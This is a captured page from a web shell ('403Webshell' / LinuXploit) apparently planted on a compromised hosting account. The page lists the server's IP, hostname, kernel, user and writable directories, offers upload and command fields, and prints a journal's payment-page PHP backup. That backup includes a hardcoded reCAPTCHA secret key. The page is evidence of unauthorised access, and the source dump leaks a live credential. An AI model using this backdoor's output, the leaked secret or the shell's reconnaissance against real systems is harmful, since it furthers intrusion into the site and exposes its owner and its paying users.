403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/anantaajournal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/anantaajournal/payment.php.bk
<?php
session_start();
if(file_exists('inc/config.php')): require_once('inc/config.php'); else: die('Required file doesn\'t exist.'); endif;

$files_inc = array('encryptions.class', 'functions.class', 'csrf.class', 'transaction.class', 'gateway.class');
foreach($files_inc as $file_inc):
	if(file_exists(REQ.$file_inc.'.php')): require_once(REQ.$file_inc.'.php'); else: die('Required file doesn\'t exist.'); endif;
endforeach;

$stmt = $mysqli->prepare("SELECT websitename FROM settings ORDER BY settingsid DESC LIMIT 1") or die('An error occurred. Please try after some time.');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($websitename);
$stmt->fetch();
$stmt->close();

$gSiteKey = '6LfnS5cUAAAAAHdVztQF5g8qMcD3_ssmcGZvuGDZ';

if($_SERVER['REQUEST_METHOD'] === 'POST'):
	if($csrf->check_valid('post')):
		function gCAPTCHA($reCAPTCHA){
			$secret = '6LfnS5cUAAAAAJXyawj_IS-lXDXFJBcZwkF7Elj1';
			$verifyResponse = file_get_contents('https://www.google.com/recaptcha/api/siteverify?secret='.$secret.'&response='.$reCAPTCHA);
			return json_decode($verifyResponse);
		}
		if(file_exists('inc/payment.php')):
			require_once('inc/payment.php');
			exit();
		else:
			die(output('Required file is missing.'));
		endif;
	else:
		die(output('Submission not allowed.'));
	endif;
endif;

function countries(){
	global $mysqli;$html = '';
	$stmt = $mysqli->prepare("SELECT TRIM(nicename) FROM country ORDER BY TRIM(nicename) ASC") or die('An error occurred. Please try after some time.');
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($country);
		while($stmt->fetch()):
			$html .= ($country) ? '<option value="'.$country.'">'.$country.'</option>' : '';
		endwhile;
	endif;
	$stmt->close();
	return $html;
}
$countries = countries();
echo <<<EOJ
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Make Payment" />
<meta name="keywords" content="payment, make payment" />
<meta name="Robots" content="index, follow" />
<title>Make Payment</title>
EOJ;
?>
<link rel="shortcut icon" href="<?php echo $imageurl;?>favicon.ico" />
<link href="https://fonts.googleapis.com/css?family=Roboto:400,500|Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/css/materialize.min.css">
<style type="text/css">
*{margin:0;box-sizing:border-box !important;outline:none}html,body{width:100%}body{height:100%;font-family:'Roboto', sans-serif;overflow-y:scroll}

.header{padding:5px 0;position:fixed;top:0;left:0;right:0;z-index:999}
.header a{height:30px;line-height:32px;font-size:12px;font-weight:500}

h2{color:#fff;font-size:24px;text-transform:uppercase}

.form{border-radius:5px;overflow:hidden}

.form .row{margin-bottom:0}
.form .row .col{margin-bottom:10px}
.form .row .col label{float:left;color:#777;font-size:12px;font-weight:500;text-transform:uppercase}
.form .row .col input[type=text],.form .row .col textarea,.form .row .col select{height:32px;margin:0;padding:0 5px;border:1px solid #d9d9d9;border-radius:3px;-webkit-border-radius:3px;font-size:13px;font-family:'Roboto', sans-serif}
.form .row .col textarea{height:80px;padding:5px}.form .row .col select{padding:0}
.form .row .col input[type=text]:focus,.form .row .col textarea:focus,.form .row .col select:focus{border-color:#2979ff;box-shadow:0 1px 0 rgba(0,0,0,0.1) inset;outline:none}

.form button{border-radius:4px;font-size:12px;font-family:'Roboto', sans-serif}

.progress{margin:0;border-radius:0;position:absolute;top:0;left:0;z-index:99;display:none}
#toast-container{top:auto;bottom:30px;left:30px;right:auto}.toast{font-size:14px}.noscript{display:none}

@media(max-width:600px){
.form .card-content{padding:12px 15px 3px}
#toast-container{left:0;right:0;bottom:0}.toast{font-size:14px}
}

</style>
<!--[if IE]>
<style type="text/css">
body{font-family:Arial, Helvetica, sans-serif;font-size:12px}
.noscript{display:block}.container{display:none}
</style>
<![endif]-->
<script src="https://www.google.com/recaptcha/api.js" defer></script>
<?php
echo <<<EOJ
</head>
<body class="blue accent-3">
<noscript>Your browser doesn&rsquo;t support javascript. Please use another browser.</noscript>
<p class="noscript">Your browser doesn&rsquo;t support form script. Please use another browser.</p>
<div class="row header white z-depth-1">
	<div class="col s6 m6 l6"><img src="{$imageurl}logo-black.png" alt="{$websitename}" height="30" class="left" /></div>
	<div class="col s6 m6 l6 right-align"><a href="{$baseurl}" class="waves-effect waves-light btn-flat blue-text text-accent-3">home</a></div>
</div>
<div class="row" style="margin-top:65px">
	<div class="col s12 m12 l5 center-align" style="float:none;margin:auto">
		<h2>Make Payment</h2>
		<form action="{$baseurl}payment" method="post" name="paymentform" class="form card" onsubmit="return ePAYMENT(this)">
			<input type="hidden" name="{$token_id}" value="{$token_value}" readonly />
	        <input type="hidden" name="zipcode" value="" readonly />
			<div class="card-content">
				<div class="row">
					<div class="col s12 m12 l6">
						<label for="name">name</label>
						<input type="text" name="name" id="name" />
					</div>
					<div class="col s12 m12 l6">
						<label for="email">email</label>
						<input type="text" name="email" id="email" />
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l12">
						<label for="phone">phone</label>
						<input type="text" name="phone" id="phone" />
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l12">
						<label for="address">address</label>
						<textarea rows="5" cols="5" name="address" id="address" class="materialize-textarea"></textarea>
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l12">
						<label for="country">country</label>
						<select name="country" class="browser-default">
							<option value="" selected="selected">Select Country</option>
							{$countries}
						</select>
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l8">
						<label for="title">article title</label>
						<input type="text" name="title" id="title" />
					</div>
					<div class="col s12 m12 l4">
						<label for="refnumber">article ref. number</label>
						<input type="text" name="refnumber" id="refnumber" />
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l6">
						<label for="amount">amount</label>
						<input type="text" name="amount" id="amount" maxlength="6" class="dec" />
					</div>
					<div class="col s12 m12 l6">
						<label for="currency">currency</label>
						<select name="currency" class="browser-default">
							<option value="" selected>Select Currency</option>
							<option value="INR">INR</option>
							<option value="USD">USD</option>
						</select>
					</div>
				</div>
				<div class="row">
					<div class="col s12 m12 l12">
						<div class="g-recaptcha" data-sitekey="{$gSiteKey}"></div>
					</div>
				</div>
			</div>
			<div class="card-action right-align">
				<div class="progress orange"><div class="indeterminate grey lighten-2"></div></div>
				<button type="submit" name="action" class="waves-effect waves-light btn-flat blue accent-3 white-text" disabled>pay now</button>
			</div>
		</form>
	</div>
</div>
<div class="redirect"></div>
EOJ;
?>
<script type="text/javascript" src="https://www.akinik.com/js/jquery.js" defer></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/js/materialize.min.js" defer></script>
<script type="text/javascript">
function downloadJSAtOnload(){
var element = document.createElement('script');
element.src = '<?php echo $baseurl;?>js/script.js?<?php echo time();?>';
document.body.appendChild(element);
}
if(window.addEventListener)
window.addEventListener('load', downloadJSAtOnload, false);
else if(window.attachEvent)
window.attachEvent('onload', downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit